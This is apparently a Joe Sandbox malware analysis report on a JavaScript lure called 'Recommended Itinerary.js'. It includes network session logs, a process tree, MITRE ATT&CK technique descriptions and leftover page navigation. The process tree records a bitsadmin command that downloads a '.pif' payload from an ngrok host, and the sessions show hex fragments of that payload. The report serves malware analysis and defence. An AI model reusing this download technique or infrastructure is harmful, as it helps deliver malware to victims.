Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.11.20	49899	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:46 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=29299-29820 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:46 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 522 Content-Range: bytes 29299-29820/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:46 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:46 UTC	522	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 27 00 e2 09 01 14 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 02 00 fb 00 bb b6 01 7b 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 e6 03 00 00 fd 02 00 00 e3 06 00 00 3f 00 00 00 00 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 Data Ascii: 0'0{00000A?0**0*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.11.20	49900	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:49 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=29821-30498 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:50 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 678 Content-Range: bytes 29821-30498/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:49 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:50 UTC	678	IN	Data Raw: 04 00 00 fd 04 00 00 89 03 00 00 f0 05 00 00 6d 01 00 00 ad 02 00 00 c8 04 00 00 dc 02 00 00 38 35 02 00 00 20 4c 16 0f 49 65 20 a8 dd 35 dc 61 7e 36 68 00 04 7b 0e 68 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 d3 02 00 04 20 03 00 00 00 7e 36 68 00 04 7b e2 67 00 04 3a 4c ff ff ff 26 20 16 00 00 00 38 41 ff ff ff 20 3f 60 29 7b 20 0d 82 4f 58 58 20 c0 08 54 fa 61 7e 36 68 00 04 7b 1c 68 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 c3 02 00 04 20 02 00 00 00 7e 36 68 00 04 7b 4e 68 00 04 3a 02 ff ff ff 26 20 02 00 00 00 38 f7 fe ff ff 20 b1 22 7f dd 20 69 89 dc 8b 59 20 15 75 4d 49 61 7e 36 68 00 04 7b 0c 68 00 04 61 28 3d f5 00 06 20 80 65 f7 73 20 c2 dc ec 11 61 7e 36 68 00 04 7b 24 68 00 04 61 28 3d f5 00 06 73 21 07 00 06 80 cd 02 00 04 20 0b 00 00 00 38 Data Ascii: m85 LIe 5a~6h{ha(=s ~6h{g:L& 8A ?`){ OXX Ta~6h{ha(=s ~6h{Nh:& 8 " iY uMIa~6h{ha(= es a~6h{$ha(=s! 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.11.20	49901	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:52 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=30499-31048 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:53 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 550 Content-Range: bytes 30499-31048/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:52 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:53 UTC	550	IN	Data Raw: 00 06 80 c9 02 00 04 20 10 00 00 00 7e 36 68 00 04 7b f2 67 00 04 3a e9 fc ff ff 26 20 11 00 00 00 38 de fc ff ff 20 1d 69 12 2e 20 d4 79 a7 58 61 7e 36 68 00 04 7b 08 68 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 d1 02 00 04 20 14 00 00 00 38 af fc ff ff 20 6b 08 6a fc 66 20 ce 4d ff 46 61 7e 36 68 00 04 7b 27 68 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 c7 02 00 04 20 1a 00 00 00 fe 0e 00 00 38 77 fc ff ff 20 73 a2 8b d3 20 69 11 c0 cc 61 7e 36 68 00 04 7b 49 68 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 d5 02 00 04 20 0d 00 00 00 7e 36 68 00 04 7b 2d 68 00 04 3a 42 fc ff ff 26 20 15 00 00 00 38 37 fc ff ff 20 06 51 68 89 20 02 00 00 00 62 20 2e 08 81 12 61 7e 36 68 00 04 7b f9 67 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 c2 02 00 04 20 06 00 00 00 38 02 Data Ascii: ~6h{g:& 8 i. yXa~6h{ha(=s 8 kjf MFa~6h{'ha(=s 8w s ia~6h{Iha(=s ~6h{-h:B& 87 Qh b .a~6h{ga(=s 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.11.20	49902	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:55 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=31049-31297 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:56 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 249 Content-Range: bytes 31049-31297/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:55 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:56 UTC	249	IN	Data Raw: 04 61 28 3d f5 00 06 73 20 07 00 06 80 c5 02 00 04 20 18 00 00 00 38 c3 fa ff ff 20 26 9c 42 4a 20 07 8f c7 83 61 20 8d 52 08 d2 61 7e 36 68 00 04 7b 01 68 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 c8 02 00 04 20 0f 00 00 00 38 8e fa ff ff 20 da 42 b7 69 20 63 91 ab 11 58 20 11 9a 80 1f 61 7e 36 68 00 04 7b 4c 68 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 d6 02 00 04 20 01 00 00 00 7e 36 68 00 04 7b 44 68 00 04 3a 4f fa ff ff 26 20 0c 00 00 00 38 44 fa ff ff 20 d2 0d 13 c5 20 ec d0 b7 45 58 20 88 2a 78 1b 61 7e 36 68 00 04 7b e4 67 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 ca 02 00 04 20 02 00 00 00 7e 36 68 00 04 7b 0f 68 00 04 3a 05 fa ff ff 26 20 08 00 00 00 38 fa f9 ff ff 20 97 1f c9 72 20 32 7d 94 06 61 7e 36 68 00 04 7b 00 68 00 04 Data Ascii: a(=s 8 &BJ a Ra~6h{ha(=s 8 Bi cX a~6h{Lha(=s ~6h{Dh:O& 8D EX *xa~6h{ga(=s ~6h{h:& 8 r 2}a~6h{h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.11.20	49903	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:57 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=31298-32077 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:58 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 780 Content-Range: bytes 31298-32077/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:58 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:58 UTC	780	IN	Data Raw: 61 28 3d f5 00 06 20 5f 9a 40 06 20 3e 32 df 7b 61 7e 36 68 00 04 7b ff 67 00 04 61 28 3d f5 00 06 73 21 07 00 06 80 cb 02 00 04 20 00 00 00 00 7e 36 68 00 04 7b 4b 68 00 04 39 a6 f9 ff ff 26 20 00 00 00 00 38 9b f9 ff ff 20 d9 92 04 e1 20 db 5a 28 cd 61 7e 36 68 00 04 7b ed 67 00 04 61 28 3d f5 00 06 73 20 07 00 06 80 d0 02 00 04 20 11 00 00 00 7e 36 68 00 04 7b 35 68 00 04 3a 62 f9 ff ff 26 20 19 00 00 00 38 57 f9 ff ff 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a Data Ascii: a(= _@ >2{a~6h{ga(=s! ~6h{Kh9& 8 Z(a~6h{ga(=s ~6h{5h:b& 8W*00000.(C(9**

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.11.20	49904	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:59 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=32078-32145 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:30:00 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 68 Content-Range: bytes 32078-32145/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:59 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:30:00 UTC	68	IN	Data Raw: 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 Data Ascii: .(C(9*******

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.11.20	49905	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:30:02 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=32146-32257 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:30:03 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 112 Content-Range: bytes 32146-32257/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:30:02 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:30:03 UTC	112	IN	Data Raw: 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 03 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 16 2a 00 Data Ascii: *00*00**

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.11.20	49906	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:30:04 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=32258-32275 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:30:05 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 18 Content-Range: bytes 32258-32275/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:30:05 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:30:05 UTC	18	IN	Data Raw: 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a Data Ascii: 0*

Target ID:	0
Start time:	09:22:35
Start date:	15/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js"
Imagebase:	0x7ff75d300000
File size:	170'496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	09:22:43
Start date:	15/01/2025
Path:	C:\Windows\System32\bitsadmin.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif
Imagebase:	0x7ff736470000
File size:	211'456 bytes
MD5 hash:	01AAB62D5799F75B0D69EB29C1CA6855
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:22:43
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7989f0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:22:43
Start date:	15/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff60e930000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
Tactics:	Defense Evasion, Persistence
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Recommended Itinerary.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\BITDF50.tmp

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Windows Analysis Report
Recommended Itinerary.js